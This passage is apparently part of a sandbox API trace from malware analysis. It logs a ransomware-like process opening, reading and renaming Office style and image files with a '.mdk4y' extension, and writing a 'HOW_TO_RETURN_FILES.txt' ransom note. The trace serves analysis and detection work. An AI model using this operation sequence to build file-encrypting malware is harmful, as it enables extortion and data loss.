lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0189.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826440800000) returned 1 [0189.178] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xdbf, lpOverlapped=0x0) returned 1 [0189.179] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826440900000) returned 1 [0189.179] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826440900000) returned 1 [0189.180] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate.css.mdk4y")) returned 1 [0189.181] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.181] AreFileApisANSI () returned 1 [0189.181] GetACP () returned 0x4e4 [0189.181] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SlateBlue.css", cchWideChar=13, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SlateBlue.css.gif", lpUsedDefaultChar=0x37de34) returned 13 [0189.181] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slateblue.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0189.181] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826441100000) returned 1 [0189.181] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x74e, lpOverlapped=0x0) returned 1 [0189.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826447100000) returned 1 [0189.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826447200000) returned 1 [0189.242] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slateblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SlateBlue.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slateblue.css.mdk4y")) returned 1 [0189.244] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.244] AreFileApisANSI () returned 1 [0189.244] GetACP () returned 0x4e4 [0189.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SoftBlue", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SoftBluee.css", lpUsedDefaultChar=0x37de34) returned 8 [0189.244] AreFileApisANSI () returned 1 [0189.244] GetACP () returned 0x4e4 [0189.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6ad838, cbMultiByte=82, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\㱴瞈㲣瞈鑖瞣_") returned 82 [0189.244] AreFileApisANSI () returned 1 [0189.244] GetACP () returned 0x4e4 [0189.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dda8) returned 1 [0189.244] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.244] AreFileApisANSI () returned 1 [0189.244] GetACP () returned 0x4e4 [0189.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dda8) returned 2 [0189.244] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.244] AreFileApisANSI () returned 1 [0189.244] GetACP () returned 0x4e4 [0189.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="background.gif", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="background.gifM", lpUsedDefaultChar=0x37dda8) returned 14 [0189.244] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\background.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.245] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826447500000) returned 1 [0189.245] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1afa, lpOverlapped=0x0) returned 1 [0189.318] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826454800000) returned 1 [0189.318] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826454800000) returned 1 [0189.318] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\background.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\background.gif.mdk4y")) returned 1 [0189.319] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.319] AreFileApisANSI () returned 1 [0189.319] GetACP () returned 0x4e4 [0189.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_OFF.GIFgif", lpUsedDefaultChar=0x37dda8) returned 11 [0189.319] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826455100000) returned 1 [0189.321] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x155, lpOverlapped=0x0) returned 1 [0189.322] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826455200000) returned 1 [0189.322] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826455200000) returned 1 [0189.322] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_off.gif.mdk4y")) returned 1 [0189.324] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.324] AreFileApisANSI () returned 1 [0189.324] GetACP () returned 0x4e4 [0189.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dda8) returned 10 [0189.328] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.329] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826455900000) returned 1 [0189.329] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xde, lpOverlapped=0x0) returned 1 [0189.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826455900000) returned 1 [0189.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826456000000) returned 1 [0189.330] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\tab_on.gif.mdk4y")) returned 1 [0189.388] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0189.388] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0189.389] AreFileApisANSI () returned 1 [0189.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0098, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 106 [0189.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.389] GetFileType (hFile=0x114) returned 0x1 [0189.390] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.390] AreFileApisANSI () returned 1 [0189.390] GetACP () returned 0x4e4 [0189.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SoftBlue.css", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SoftBlue.csss", lpUsedDefaultChar=0x37de34) returned 12 [0189.391] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0189.393] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826462300000) returned 1 [0189.393] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xec4, lpOverlapped=0x0) returned 1 [0189.394] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826462400000) returned 1 [0189.394] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826462400000) returned 1 [0189.394] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue.css.mdk4y")) returned 1 [0189.396] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.396] AreFileApisANSI () returned 1 [0189.396] GetACP () returned 0x4e4 [0189.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Solutions", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Solutionscss", lpUsedDefaultChar=0x37de34) returned 9 [0189.396] AreFileApisANSI () returned 1 [0189.396] GetACP () returned 0x4e4 [0189.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6ad838, cbMultiByte=83, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\瞈㲣瞈鑖瞣_") returned 83 [0189.399] AreFileApisANSI () returned 1 [0189.399] GetACP () returned 0x4e4 [0189.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dda8) returned 1 [0189.399] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.399] AreFileApisANSI () returned 1 [0189.399] GetACP () returned 0x4e4 [0189.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37dda8) returned 2 [0189.399] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.399] AreFileApisANSI () returned 1 [0189.399] GetACP () returned 0x4e4 [0189.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="arrow.png", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="arrow.png", lpUsedDefaultChar=0x37dda8) returned 9 [0189.399] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\arrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826462900000) returned 1 [0189.400] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xe5, lpOverlapped=0x0) returned 1 [0189.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826463000000) returned 1 [0189.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826463000000) returned 1 [0189.400] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\arrow.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\arrow.png.mdk4y")) returned 1 [0189.401] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.401] AreFileApisANSI () returned 1 [0189.401] GetACP () returned 0x4e4 [0189.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Document.gif", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="Document.gifg", lpUsedDefaultChar=0x37dda8) returned 12 [0189.401] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Document.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\document.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.403] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826463300000) returned 1 [0189.403] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x931, lpOverlapped=0x0) returned 1 [0189.444] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826467400000) returned 1 [0189.444] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826467400000) returned 1 [0189.444] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Document.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\document.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Document.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\document.gif.mdk4y")) returned 1 [0189.447] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.447] AreFileApisANSI () returned 1 [0189.447] GetACP () returned 0x4e4 [0189.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Generic.gif", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="Generic.giff", lpUsedDefaultChar=0x37dda8) returned 11 [0189.447] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Generic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\generic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.447] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826467700000) returned 1 [0189.447] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x832, lpOverlapped=0x0) returned 1 [0189.453] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826468300000) returned 1 [0189.453] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826468300000) returned 1 [0189.460] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Generic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\generic.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Generic.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\generic.gif.mdk4y")) returned 1 [0189.462] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.462] AreFileApisANSI () returned 1 [0189.462] GetACP () returned 0x4e4 [0189.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="gradient.png", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="gradient.png", lpUsedDefaultChar=0x37dda8) returned 12 [0189.462] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\gradient.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\gradient.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826469700000) returned 1 [0189.467] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xe2, lpOverlapped=0x0) returned 1 [0189.468] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826469800000) returned 1 [0189.468] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826469800000) returned 1 [0189.468] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\gradient.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\gradient.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\gradient.png.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\gradient.png.mdk4y")) returned 1 [0189.469] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.469] AreFileApisANSI () returned 1 [0189.469] GetACP () returned 0x4e4 [0189.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Main.gif", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="Main.gif.png", lpUsedDefaultChar=0x37dda8) returned 8 [0189.469] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Main.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\main.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826469900000) returned 1 [0189.470] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x634, lpOverlapped=0x0) returned 1 [0189.471] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826470200000) returned 1 [0189.472] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826470200000) returned 1 [0189.472] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Main.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\main.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Main.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\main.gif.mdk4y")) returned 1 [0189.474] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.474] AreFileApisANSI () returned 1 [0189.474] GetACP () returned 0x4e4 [0189.474] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Person.gif", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="Person.gifng", lpUsedDefaultChar=0x37dda8) returned 10 [0189.474] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Person.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\person.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.474] QueryPerformanceCounter (in: 